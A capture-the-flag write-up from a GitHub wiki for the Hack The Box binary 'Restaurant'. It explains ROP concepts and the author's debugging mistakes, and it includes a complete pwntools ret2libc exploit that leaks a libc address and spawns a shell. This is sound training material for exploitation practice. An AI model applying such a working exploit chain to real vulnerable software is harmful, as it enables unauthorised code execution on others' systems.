HTB Restaurant writeup - Pez1181/CTF GitHub Wiki
Exploit Writeup: Restaurant (HTB)
📦 Challenge Overview
- Type: Binary Exploitation (ROP)
- Vulnerability: No PIE, leak GOT address, ROP into libc
- Protections: Full RELRO, NX enabled, no canary, no PIE
- Bypass: Leak libc, calculate
system()
, stack alignment viaret
gadget
🧠 Key Concepts for Beginners
GOT and PLT
- GOT (Global Offset Table): Stores actual addresses of dynamically resolved functions like
puts
,system
, etc. Initially filled by the dynamic linker. - PLT (Procedure Linkage Table): A fixed address entry point that jumps to the corresponding GOT entry.
So when we call puts(puts@GOT)
, we're effectively asking the program to leak the address of puts
at runtime.
ROP (Return-Oriented Programming)
- A technique where we reuse code sequences (gadgets) already present in the binary or loaded libraries.
- Each gadget ends with a
ret
instruction, letting us chain one gadget after another by manipulating the stack. - In
x86_64
, function arguments are passed via registers:- 1st argument = RDI
To call a function like puts(addr)
, we need a gadget that does pop rdi; ret
before it.
Stack Alignment
- Recent versions of
glibc
(2.29+) require the stack to be 16-byte aligned when entering sensitive functions (likesystem
). - If misaligned,
libc
can crash with SIGILL (Illegal Instruction) due to alignment expectations in the ABI. - We resolve this by inserting a
ret
gadget before calling such functions to realign the stack.
⚔️ Exploit Strategy
- Overflow buffer with 40 bytes to control RIP.
- Leak the runtime address of
puts
via aputs(puts@GOT)
call. - Return to
fill()
to allow another input after leaking. - Calculate libc base using the leaked
puts
address. - Call
system("/bin/sh")
using the calculated libc base. - Add a
ret
gadget before callingsystem()
to avoid alignment issues.
❌ Where We Went Wrong Initially
1. Parsing the Leaked Address Incorrectly
- Early attempts misused
recvline_startswith
or relied on UI strings (e.g., "Enjoy your") to grab leaks. This worked inconsistently or captured the wrong bytes. - Fix: Use a clean
recvuntil()
and grab the exact line after the menu to safely unpack 6 bytes, padded to 8.
2. Forgetting Stack Alignment
- Calling
system()
directly without a precedingret
caused silent failures or SIGILL crashes. - Fix: We added
ret
usingrop.call(ret_gadget)
before callingsystem()
in the final payload.
3. Incorrect Address Calculations
- Early scripts calculated
system()
by doingleaked_puts + offset
, which only works if addresses are adjacent (they’re not). - Fix: Subtract
libc.symbols['puts']
from the leak to getlibc_base
, then use actual symbol lookups relative to it.
context.binary
4. Mixing Up - At one point we overwrote
context.binary = libc
, which broke offset lookups. - Fix: Define
elf
andlibc
separately and leavecontext.binary
pointing to the main binary.
✅ Final Exploit Script (Local + Remote Toggle)
from pwn import *
import os
os.system('clear')
exe = './restaurant'
libc_path = './libc.so.6'
elf = context.binary = ELF(exe, checksec=False)
libc = ELF(libc_path, checksec=False)
context.log_level = 'debug'
# === Connection Toggle ===
# Toggle REMOTE manually:
REMOTE = False
HOST, PORT = '94.237.58.172', 52353
# === Start Process ===
if REMOTE:
p = remote(HOST, PORT) # Remote testing
else:
p = process([exe]) # Local testing
# === ROP Setup ===
padding = b'A' * 40
rop = ROP(elf)
rop.call(elf.plt['puts'], [next(elf.search(b'\x00'))]) # Junk print (PLT call to align GOT leak)
rop.call(elf.plt['puts'], [elf.got['puts']]) # Leak puts@GOT
rop.call((rop.find_gadget(['ret']))[0]) # Align the stack
rop.call(elf.sym['fill']) # Re-enter menu
log.info(rop.dump())
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', padding + rop.chain())
# === Parse Leak ===
p.recvuntil(b'\n') # Discard junk
p.recvuntil(b'\n') # Discard junk
leaked_puts = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
success(f'leaked puts() address: {hex(leaked_puts)}')
# === libc Base + Symbols ===
libc.address = leaked_puts - libc.sym['puts']
success(f'libc base: {hex(libc.address)}')
rop2 = ROP(libc)
rop2.call((rop.find_gadget(['ret']))[0])
rop2.call(libc.sym['system'], [next(libc.search(b'/bin/sh\x00'))])
log.info(rop2.dump())
p.sendlineafter(b'>', padding + rop2.chain())
p.interactive()
Final Thoughts
- The
ret
gadget was the secret sauce. Without it,system()
may crash due to alignment rules in newer glibc. - Always double check
.got
and.plt
references — they make leaking addresses straightforward. - Using
ROP()
withcall()
helps avoid manual packing and keeps chains readable. - Stack alignment bugs are subtle but lethal. Remember: one
ret
keeps thelibc
gremlins away!